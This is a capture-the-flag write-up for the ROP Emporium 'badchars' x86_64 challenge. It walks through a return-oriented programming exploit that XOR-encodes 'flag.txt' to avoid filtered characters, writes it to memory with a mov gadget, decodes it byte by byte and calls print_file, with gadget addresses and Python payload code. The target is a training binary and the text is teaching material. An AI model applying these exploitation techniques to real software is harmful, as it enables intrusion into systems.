This challenge is a step more difficult than the previous challenge. This challenge provides one step more of difficulty to reach the final result. Give this one a try!
The hint provided by ROP Emporium is: An arbitrary write challenge with a twist; certain input characters get mangled as they make their way onto the stack. Find a way to deal with this and craft your exploit.
This challenge is the same as the previous challenge, except this time there are a series of filtered characters ("bad chars") that cannot be part of our payload. Upon running the binary, we see the badchars:
badchars by ROP Emporium x86_64 badchars are: 'x', 'g', 'a', '.'
We also notice these badchars do not change across runs. Therefore, we don't need to leak them. We do need to account for them when entering our payload, in both values and addresses. We can convert these into hex as well to ensure we're not using them:
>>> badchars = ['x', 'g', 'a', '.'] >>> list(hex(ord(b)) for b in badchars) ['0x78', '0x67', '0x61', '0x2e']
We have the same buffer overflow without a canary as the last challenge. The buffer is also the same size, so the necessary padding is 40
bytes to overwrite the return pointer.
Notice that the four badchars are all inside the string flag.txt. This means we can't directly send the string without some sort of encoding. However, once we send the string, we must have a way to decode the string to ensure that flag.txt is in memory.
We can look through the available ROP gadgets to find something useful. Whatever we find must be undoable; in order for this to work, we need to "encrypt" the string before sending and use that gadget to "decrypt" it once it's in memory. If we look hard enough, we find these two gadgets:
0x0000000000400628 : xor byte ptr [r15], r14b ; ret 0x0000000000400629 : xor byte ptr [rdi], dh ; ret
xor
is the perfect operation for this! It's easily reversible and is to verify. In this case, we don't have the ability to control dh
(or rdx
), meaning we must choose the first option. We can control both r15
and r14
using:
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop r14 ; pop r15 ; ret
gadget?xor
, we need to write our encrypted string to memory. This can be done with this gadget:0x0000000000400634 : mov qword ptr [r13], r12 ; ret
This means we also need control of r13
and r14
. To save time, we use the gadget that lets us control all of them.
We'll also need our pop rdi
gadget again. These should be all the gadgets we need. Let's write a payload!
First, we define the variables.
g_ret = 0x400589 # ret g_pop = 0x40069C # pop r12 - r15 g_popRdi = 0x4006A3 # pop rdi g_popR15 = 0x4006A2 # pop r15 g_write = 0x400634 # mov qword [r13], r12 g_xor = 0x400628 # xor byte [r15], r14b a_writeLoc = 0x601030 f_printfile = 0x400510
Then, let's encrypt our flag. You can do this manually using a site like CyberChef or include the encoding as part of the script. To do this, we'll encrypt one byte at a time and then convert it to a byte-string.
flag = bytes([b ^ 0x2 for b in b"flag.txt"])
xor
by 0x2
?1
, the string becomes gmf`/uyu
, which contains a badchar. Therefore, the first xor
that does not contain a badchar is 0x2
.Now, let's overflow the buffer and add an extra return to align the stack. Note that I use flat
here to save time writing the exploit; this requires context.binary
to be set to understand the proper word size to pack.
payload = flat(b"A" * 40, g_ret)
Then, we populate r12
with the encoded flag.txt
string and r13
with the location to write. At the same time, we populate r14
with 0x2
, our value to XOR by each time. Then, we'll write the string to memory using the mov
gadget.
payload += flat(g_pop, flag, a_writeLoc, 0x2, 0x0) payload += flat(g_write)
Then, we run the decryption. This happens one byte at a time. We need to load r15
with the address of the byte, then call the XOR gadget. r14
is already populated with the value to XOR by (0x2
), so no work needs to be done.
for i in range(len(flag)): payload += flat(g_popR15, a_writeLoc + i, g_xor)
Finally, we pop the address of the string into rdi
and call print_file
!
payload += flat(g_popRdi, a_writeLoc, f_printfile)
If we put all this together, we get the flag!